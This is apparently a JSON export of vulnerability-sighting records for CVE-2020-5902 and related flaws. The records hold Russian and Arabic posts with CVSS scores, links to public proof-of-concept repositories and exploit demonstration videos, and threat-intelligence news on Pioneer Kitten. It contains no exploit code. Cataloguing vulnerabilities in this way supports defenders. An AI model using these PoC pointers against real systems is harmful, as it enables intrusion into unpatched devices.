\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - CVE-2020-8193\n\n\u041e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Citrix ADC, Citrix Gateway, Citrix SDWAN WAN-OP\n\nCVSSv2: 5\nCVSSv3: 6.5\n\nPoC: https://github.com/jas502n/CVE-2020-8193 (\u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d)\n\n3. Palo Alto\n\nPAN-OS: Authentication Bypass in SAML Authentication\n\n\u0412 PAN-OS \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0432 SAML \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c\n\nCVSSv2: 9.8\nCVSSv3: 10\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: https://security.paloaltonetworks.com/CVE-2020-2021\n\nPoC: \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043d\u0435\u0442\n\n4. Windows DNS Server\n\nCVE-2020-1350\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u043e \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0433\u043e\u0432\u043e\u0440\u044f\u0442 \u0432\u0441\u0435!\n\n\u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043d\u0430 DNS \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438\n\nCVSSv2: 10\nCVSSv3: 10\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350\n\nPoC: \u0411\u0443\u0434\u044c\u0442\u0435 \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u044b \u0441 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u043c\u0438 PoC!\nhttps://github.com/ZephrFish/CVE-2020-1350 - \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u043c\u044b\u0439 PoC \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u043c\n\n5. Bitrix\n\nBitrix SSRF CVE-2020-13484\n\n\u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Bitrix \u0434\u043e 20.0.975 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a \u0432\u043d\u0435\u0448\u043d\u0438\u043c IP-\u0430\u0434\u0440\u0435\u0441\u0430\u043c + \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435\n\nCVSSv2: 7.5\nCVSSv3: 9.8\n\nPoC: https://gist.github.com/mariuszpoplwski/f261a4bc06adde5c78760559db9d63bd", "creation_timestamp": "2020-07-16T10:00:46.000000Z"}, {"uuid": "275dde37-b3e0-46ed-968a-dfc350eed883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/ctinow/49161", "content": "8x8: F5 BIG-IP TMUI RCE - CVE-2020-5902 (\u2588\u2588.packet8.net)\n\nhttps://ift.tt/jZvaftn", "creation_timestamp": "2022-03-25T14:56:55.000000Z"}, {"uuid": "39c5311c-053b-47e9-aab0-181bf0081b94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/techteamwm/215", "content": "\u0645\u062c\u0645\u0648\u0639\u0629 \u0642\u0631\u0635\u0646\u0629 \u0625\u064a\u0631\u0627\u0646\u064a\u0629 \u062a\u062e\u062a\u0631\u0642 \u0648\u062a\u0628\u064a\u0639 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f \u0634\u0628\u0643\u0627\u062a \u0634\u0631\u0643\u0627\u062a \u0639\u0631\u0628\u064a\u0629 \u0639\u0644\u0649 \u0627\u0644\u062f\u0627\u0631\u0643 \u0648\u064a\u0628\n\n\u0642\u0627\u0644\u062a \u0634\u0631\u0643\u0629 \u0627\u0644\u0623\u0645\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a Crowdstrike \u0641\u064a \u062a\u0642\u0631\u064a\u0631 \u0625\u0646\u0647 \u062a\u0645 \u0631\u0635\u062f \u0645\u062c\u0645\u0648\u0639\u0629 \u0642\u0631\u0635\u0646\u0629 \u0625\u064a\u0631\u0627\u0646\u064a\u0629 \u0648\u0647\u064a \u062a\u0628\u064a\u0639 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0634\u0628\u0643\u0627\u062a \u0634\u0631\u0643\u0627\u062a \u0645\u0646 \u0639\u062f\u0629 \u062f\u0648\u0644 \u0639\u0631\u0628\u064a\u0629 \u0641\u064a \u0645\u0646\u062a\u062f\u0649 \u0642\u0631\u0635\u0646\u0629 \u0639\u0644\u0649 \u0627\u0644\u062f\u0627\u0631\u0643 \u0648\u064a\u0628.\n\n\u0648\u0642\u0627\u0644\u062a \u0627\u0644\u0634\u0631\u0643\u0629 \u0625\u0646 \u0627\u0644\u0623\u0645\u0631 \u064a\u062a\u0639\u0644\u0642 \u0628\u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0644\u0642\u0631\u0635\u0646\u0629 Pioneer Kitten \u060c \u0648\u0647\u064a \u062a\u0633\u0645\u064a\u0629 \u0628\u062f\u064a\u0644\u0629 \u0644\u0644\u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0644\u062a\u064a \u062a\u064f\u0639\u0631\u0641 \u0623\u064a\u0636\u064b\u0627 \u0628\u0627\u0633\u0645 Fox Kitten \u0648 Parisite.\n\n\u0623\u0645\u0636\u062a \u0627\u0644\u0645\u062c\u0645\u0648\u0639\u0629 \u060c \u0627\u0644\u062a\u064a \u064a\u0639\u062a\u0642\u062f \u0623\u0646\u0647\u0627 \u0645\u0631\u062a\u0628\u0637\u0629 \u0628\u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0625\u064a\u0631\u0627\u0646\u064a\u060c \u0639\u0627\u0645\u064a 2019 \u0648 2020 \u0641\u064a \u0627\u062e\u062a\u0631\u0627\u0642 \u0634\u0628\u0643\u0627\u062a \u0627\u0644\u0634\u0631\u0643\u0627\u062a \u0639\u0628\u0631 \u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u0641 \u0641\u064a \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0627\u0644\u062e\u0627\u0635\u0629 \u0648\u0645\u0639\u062f\u0627\u062a \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0639\u0628\u0631 \u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u0641 \u0627\u0644\u062a\u0627\u0644\u064a\u0629:\n\u0634\u0628\u0643\u0627\u062a VPN \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \"\u0627\u0644\u0627\u062a\u0635\u0627\u0644\" Pulse Secure \u0640 (CVE-2019-11510)\n\u062e\u0648\u0627\u062f\u0645 Fortinet VPN \u0627\u0644\u062a\u064a \u062a\u0639\u0645\u0644 \u0628\u0646\u0638\u0627\u0645 FortiOS \u0640 (CVE-2018-13379)\n\u062e\u0648\u0627\u062f\u0645 VPN \"Global Protect\" \u0645\u0646 Palo Alto Networks \u0640 (CVE-2019-1579)\n\u062e\u0648\u0627\u062f\u0645 Citrix \"ADC\" \u0648\u0628\u0648\u0627\u0628\u0627\u062a \u0634\u0628\u0643\u0629 Citrix \u0640 (CVE-2019-19781)\n\u0645\u0648\u0627\u0632\u0646 \u0627\u0644\u062a\u062d\u0645\u064a\u0644 F5 Networks BIG-IP \u0640 (CVE-2020-5902)\n\n\u0642\u0627\u0645\u062a \u0627\u0644\u0645\u062c\u0645\u0648\u0639\u0629 \u0628\u0627\u062e\u062a\u0631\u0627\u0642 \u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u0641 \u0627\u0644\u0645\u0630\u0643\u0648\u0631\u0629\u060c \u0644\u0641\u062a\u062d \u0623\u0628\u0648\u0627\u0628 \u062e\u0644\u0641\u064a\u0629\u060c \u0644\u062a\u0648\u0641\u064a\u0631 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0645\u062c\u0645\u0648\u0639\u0627\u062a \u0642\u0631\u0635\u0646\u0629 \u0625\u064a\u0631\u0627\u0646\u064a\u0629 \u0623\u062e\u0631\u0649\u060c \u0645\u062b\u0644 APT33 (Shamoon) \u0648 Oilrig (APT34) \u0648 Chafer \u060c \u0648\u0641\u0642\u064b\u0627 \u0644\u062a\u0642\u0627\u0631\u064a\u0631 \u0645\u0646 \u0634\u0631\u0643\u062a\u064a \u0627\u0644\u0623\u0645\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a ClearSky \u0648 Dragos.\n\n\u0633\u062a\u062f\u062e\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u062c\u0645\u0648\u0639\u0627\u062a \u0627\u0644\u0623\u062e\u0631\u0649 \u0628\u0639\u062f \u0630\u0644\u0643 \u060c \u0644\u062a\u0648\u0633\u064a\u0639 \"\u0627\u0644\u0648\u0635\u0648\u0644 \u0627\u0644\u0623\u0648\u0644\u064a\" \u0627\u0644\u0630\u064a \u062a\u0645\u0643\u0646 \u0642\u0631\u0627\u0635\u0646\u0629 Pioneer Kitten \u0645\u0646 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u064a\u0647 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u062a\u062d\u0631\u0643 \u0639\u0628\u0631 \u0634\u0628\u0643\u0629 \u0627\u0644\u0634\u0631\u0643\u0627\u062a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0628\u0631\u0627\u0645\u062c \u0636\u0627\u0631\u0629.\n\n\u0648\u0641\u064a \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \u0627\u0644\u0630\u064a \u0635\u062f\u0631 \u062a\u0642\u0648\u0644 \u0634\u0631\u0643\u0629 \u0627\u0644\u0623\u0645\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a Crowdstrike \u0625\u0646\u0647 \u062a\u0645 \u0631\u0635\u062f Pioneer Kitten \u0623\u064a\u0636\u064b\u0627 \u0648\u0647\u064a \u062a\u0628\u064a\u0639 \u0628\u064a\u0627\u0646\u0627\u062a \u0625\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0628\u0639\u0636 \u0647\u0630\u0647 \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0627\u0644\u0645\u062e\u062a\u0631\u0642\u0629 \u0641\u064a \u0645\u0646\u062a\u062f\u064a\u0627\u062a \u0627\u0644\u0642\u0631\u0635\u0646\u0629 \u0639\u0644\u0649 \u0627\u0644\u062f\u0627\u0631\u0643 \u0648\u064a\u0628 \u0645\u0646\u0630 \u064a\u0648\u0644\u064a\u0648 2020 \u0639\u0644\u0649 \u0627\u0644\u0623\u0642\u0644.\n\n\u062a\u0639\u062a\u0642\u062f Crowdstrike \u0623\u0646 \u0627\u0644\u0645\u062c\u0645\u0648\u0639\u0629 \u062a\u062d\u0627\u0648\u0644 \u0641\u0642\u0637 \u062a\u0646\u0648\u064a\u0639 \u0645\u0635\u0627\u062f\u0631 \u0625\u064a\u0631\u0627\u062f\u0627\u062a\u0647\u0627 \u0648\u0627\u0633\u062a\u062b\u0645\u0627\u0631 \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0627\u0644\u062a\u064a \u0644\u064a\u0633 \u0644\u0647\u0627 \u0642\u064a\u0645\u0629 \u0627\u0633\u062a\u062e\u0628\u0627\u0631\u064a\u0629 \u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0645\u062e\u0627\u0628\u0631\u0627\u062a \u0627\u0644\u0625\u064a\u0631\u0627\u0646\u064a\u0629.\n\n\u062a\u0634\u0645\u0644 \u0627\u0644\u0623\u0647\u062f\u0627\u0641 \u0627\u0644\u062a\u0642\u0644\u064a\u062f\u064a\u0629 \u0644\u0645\u062c\u0645\u0648\u0639\u0627\u062a \u0627\u0644\u0642\u0631\u0635\u0646\u0629 \u0627\u0644\u062a\u064a \u062a\u0631\u0639\u0627\u0647\u0627 \u0625\u064a\u0631\u0627\u0646 \u0634\u0631\u0643\u0627\u062a \u0648\u0645\u0624\u0633\u0633\u0627\u062a \u062d\u0643\u0648\u0645\u064a\u0629 \u0641\u064a \u0627\u0644\u0648\u0644\u0627\u064a\u0627\u062a \u0627\u0644\u0645\u062a\u062d\u062f\u0629 \u0648\u0627\u0644\u0643\u064a\u0627\u0646 \u0627\u0644\u0635\u0647\u064a\u0648\u0646\u064a \u0648\u0628\u0639\u0636 \u0627\u0644\u062f\u0648\u0644 \u0627\u0644\u0639\u0631\u0628\u064a\u0629\u060c \u0648\u062a\u0634\u0645\u0644 \u0627\u0644\u0642\u0637\u0627\u0639\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\u0629 \u0639\u0627\u062f\u0629 \u0627\u0644\u062f\u0641\u0627\u0639 \u0648\u0627\u0644\u0631\u0639\u0627\u064a\u0629 \u0627\u0644\u0635\u062d\u064a\u0629 \u0648\u0627\u0644\u062a\u0643\u0646\u0648\u0644\u0648\u062c\u064a\u0627 \u0648\u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0627\u0644\u062d\u0643\u0648\u0645\u064a\u0629\u060c \u0644\u0643\u0646 \u0641\u064a \u0627\u0644\u0623\u0648\u0646\u0629 \u0627\u0644\u0623\u062e\u064a\u0631\u0629 \u062a\u0648\u0633\u0639\u062a \u0627\u0644\u062d\u0645\u0644\u0629 \u0644\u062a\u0634\u0645\u0644 \u0645\u0624\u0633\u0633\u0627\u062a \u0628\u062f\u0648\u0644 \u0623\u062e\u0631\u0649 \u0623\u062e\u0631\u0649 \u0641\u064a \u0634\u0645\u0627\u0644 \u0625\u0641\u0631\u064a\u0642\u064a\u0627\u060c \u0648\u0645\u0646 \u0628\u064a\u0646\u0647\u0627 \u0645\u0624\u0633\u0633\u0627\u062a \u062c\u0632\u0627\u0626\u0631\u064a\u0629 \u0648\u0642\u062f \u0642\u0627\u0645\u062a \u0627\u0644\u0633\u0644\u0637\u0627\u062a \u0627\u0644\u062c\u0632\u0627\u0626\u0631\u064a\u0629 \u0628\u0645\u0631\u0627\u0633\u0644\u0629 \u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\u0629 \u0644\u0625\u062a\u062e\u0627\u0630 \u0627\u0644\u062a\u062f\u0627\u0628\u064a\u0631 \u0648\u062a\u0639\u0632\u064a\u0632 \u0627\u0644\u0623\u0645\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a \u0644\u0644\u0645\u0624\u0633\u0633\u0627\u062a\u060c.\n\n\u0641\u064a\u0645\u0627 \u0628\u0639\u0636 \u0627\u0644\u062f\u0648\u0644 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0631\u0628\u0645\u0627 \u0644\u0645 \u062a\u062a\u0641\u0637\u0646 \u0628\u0639\u062f \u0644\u0647\u0630\u0627 \u0627\u0644\u062e\u0631\u0642\u060c \u0644\u0630\u0644\u0643 \u064a\u062c\u0628 \u062a\u0646\u0628\u064a\u0647 \u0627\u0644\u0634\u0631\u0643\u0627\u062a \u0648\u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0633\u062a\u0639\u0645\u0644 \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0627\u0644\u0625\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0648\u0627\u0644\u0645\u0639\u062f\u0627\u062a \u0627\u0644\u0645\u0630\u0643\u0648\u0631\u0629 \u0627\u0644\u062a\u064a \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0646\u0642\u0627\u0637 \u0636\u0639\u0641 \u0627\u0644\u062a\u0646\u0628\u0647 \u0644\u0645\u0631\u0627\u062c\u0639\u0629 \u0625\u062c\u0631\u0627\u0626\u0627\u062a\u0647\u0627.\n\n\u062a\u0639\u062a\u0645\u062f \u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0644\u0642\u0631\u0635\u0646\u0629 \u0627\u0644\u0625\u064a\u0631\u0627\u0646\u064a\u0629 \u0639\u0644\u0649 \u0646\u0641\u0642 SSH \u060c \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0623\u062f\u0648\u0627\u062a \u0645\u0641\u062a\u0648\u062d\u0629 \u0627\u0644\u0645\u0635\u062f\u0631 \u0645\u062b\u0644 Ngrok \u0648\u0623\u062f\u0627\u0629 \u0645\u062e\u0635\u0635\u0629 \u062a\u0633\u0645\u0649 SSHMinion. \u0648\u062a\u0633\u062a\u062e\u062f\u0645 \u0647\u0630\u0647 \u0627\u0644\u0623\u062f\u0648\u0627\u062a \u0644\u0644\u062a\u0648\u0627\u0635\u0644 \u0639\u0628\u0631 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0633\u0637\u062d \u0627\u0644\u0645\u0643\u062a\u0628 \u0627\u0644\u0628\u0639\u064a\u062f RDP \u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u0641 \u0641\u064a \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 VPN \u0648\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0634\u0628\u0643\u0629.\n\n\u0648\u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u062a\u0645 \u0625\u0633\u062a\u063a\u0644\u0627\u0644 \u0646\u0642\u0627\u0637 \u0636\u0639\u0641 \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0648\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0648\u0635\u0648\u0644 \u0644\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0644\u0632\u0631\u0639 \u0628\u0631\u0627\u0645\u062c \u0641\u062f\u064a\u0629 \u0628\u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0627\u0644\u0625\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629\u060c \u0648\u0647\u0648 \u0645\u0627 \u0633\u064a\u0643\u0628\u062f\u0647\u0627 \u062e\u0633\u0627\u0626\u0631 \u0643\u0628\u064a\u0631\u0629 \u0641\u064a \u0627\u0644\u0623\u0645\u0648\u0627\u0644 \u0623\u0648 \u0641\u064a \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0639\u0646\u062f \u0646\u0634\u0631\u0647\u0627 \u0623\u0648 \u062a\u0634\u0641\u064a\u0631\u0647\u0627.", "creation_timestamp": "2020-09-21T04:37:32.000000Z"}, {"uuid": "af695ec9-6826-4464-b641-2e3770eca884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/Teamx1945x/1044", "content": "\ud83d\udd30 \u0623\u0647\u0645 \u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u0641\u00a0 \u0645\u0639 POC\n\nCVE-2020-17530 |\u00a0 \u0623\u0628\u0627\u062a\u0634\u064a \u0627\u0644\u062f\u0639\u0627\u0645\u0627\u062a RCE\n\nhttps://youtu.be/MUAAwijvAe8\n\n\u0633\u0627\u0644\u062a\u0633\u062a\u0627\u0643 \u0622\u0631 \u0633\u064a \u0625\u064a |\u00a0 CVE-2020-16846\n\nhttps://youtu.be/5cV9wh2w-O8\n\n\u0623\u0628\u0627\u062a\u0634\u064a \u0623\u0648\u0646\u0648\u0645\u064a RCE |\u00a0 CVE-2020-13942\n\nhttps://youtu.be/iz6wjdGnpds\n\n\u0634\u0628\u062d \u0627\u0644\u0642\u0637 |\u00a0 CVE-2020-1938\n\nhttps://youtu.be/3TGIg1x4XwU\n\n\u0623\u0648\u0631\u0627\u0643\u0644 \u0648\u064a\u0628 \u0644\u0648\u062c\u064a\u0643 RCE |\u00a0 CVE-2020-14882\n\nhttps://youtu.be/t-sxvcZNFZo\n\n\u0623\u0628\u0627\u062a\u0634\u064a \u062a\u0648\u0645\u0643\u0627\u062a RCE |\u00a0 CVE-2020-9484\n\nhttps://youtu.be/nF8tfsY74ws\n\n\u0645\u0648\u062f\u0644 \u0622\u0631 \u0633\u064a \u0625\u064a |\u00a0 CVE-2020-14321\n\nhttps://youtu.be/BkEInFI4oIU\n\n\u0633\u064a\u0633\u0643\u0648 CVE-2020-3452 \u0635\n\nhttps://youtu.be/-UldKwwVgHE\n\n\u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c \u0627\u0644\u0645\u0633\u0627\u0639\u062f \u0644\u0642\u0627\u0639\u062f\u0629 \u0628\u064a\u0627\u0646\u0627\u062a \u0648\u0648\u0631\u062f\u0628\u0631\u064a\u0633 |\u00a0 CVE-2020-7048\n\nhttps://youtu.be/nj_dqcvrwp4\n\nCVE-2020-5902 F5 \u0639\u0646\u0648\u0627\u0646 IP \u0643\u0628\u064a\u0631\n\nhttps://youtu.be/-ppzdYDk-ZM\n\n\u0645\u0642\u0627\u0637\u0639 \u0641\u064a\u062f\u064a\u0648 \u0623\u062e\u0631\u0649 \u062d\u0648\u0644 CVE PoC\n\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb\n\n\u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0645\u062e\u062a\u0628\u0631 \u0645\u0643\u0627\u0641\u062d\u0629 \u0627\u0644\u062a\u0637\u0631\u0641 \u0627\u0644\u0639\u0646\u064a\u0641: https://www.vulnmachines.com", "creation_timestamp": "2024-03-29T18:27:13.000000Z"}, {"uuid": "e96fd37f-04a8-47f1-87b7-dc63484e4529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "Telegram/k6hHUJVRmEVte2QfNLuU8-v67rBZSq4t8lJINPEEK3muAg", "content": "", "creation_timestamp": "2023-11-22T10:48:36.000000Z"}, {"uuid": "cd8a519e-123d-4f2c-b00a-6a808485477a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "Telegram/9fxVcxkUTHzuSGBE0R6kK46t-dFAMLC8LQLjG3zZrXWLrNQi", "content": "", "creation_timestamp": "2025-01-30T02:17:48.000000Z"}, {"uuid": "85320a39-cbc2-47c7-a57a-4943c6017755", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "Telegram/nStt2837JwMi-pNwVNAVKFW1pW6ax87VAsIJlp6SBOAsR3PR", "content": "", "creation_timestamp": "2024-04-07T22:52:53.000000Z"}, {"uuid": "baec601c-0fb3-4ca3-8619-9ce2a92298bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/arpsyndicate/2023", "content": "#ExploitObserverAlert\n\nCVE-2020-5902\n\nDESCRIPTION: Exploit Observer has 277 entries related to CVE-2020-5902. In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n\nFIRST-EPSS: 0.975550000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-18T16:32:56.000000Z"}, {"uuid": "db2b98d4-1997-4e1a-a27c-35540957bde1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/arpsyndicate/1452", "content": "#ExploitObserverAlert\n\nCVE-2020-5902\n\nDESCRIPTION: Exploit Observer has 277 entries related to CVE-2020-5902. In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n\nFIRST-EPSS: 0.975550000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-05T10:12:11.000000Z"}, {"uuid": "c6b567ae-f418-4bb3-9a11-4407c47dabe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/lostsec/328", "content": "Awesome One-liner Bug Bounty :\n\n> A collection of awesome one-liner scripts especially for bug bounty.\n\nThis repository stores and houses various one-liner for bug bounty tips provided by me as well as contributed by the community. Your contributions and suggestions are heartily\u2665 welcome.\n\n## Definitions\n\nThis section defines specific terms or placeholders that are used throughout one-line command/scripts.\n\n- 1.1. \"HOST\" defines one hostname, (sub)domain, or IP address, e.g. replaced by internal.host, domain.tld, sub.domain.tld, or 127.0.0.1.\n- 1.2. 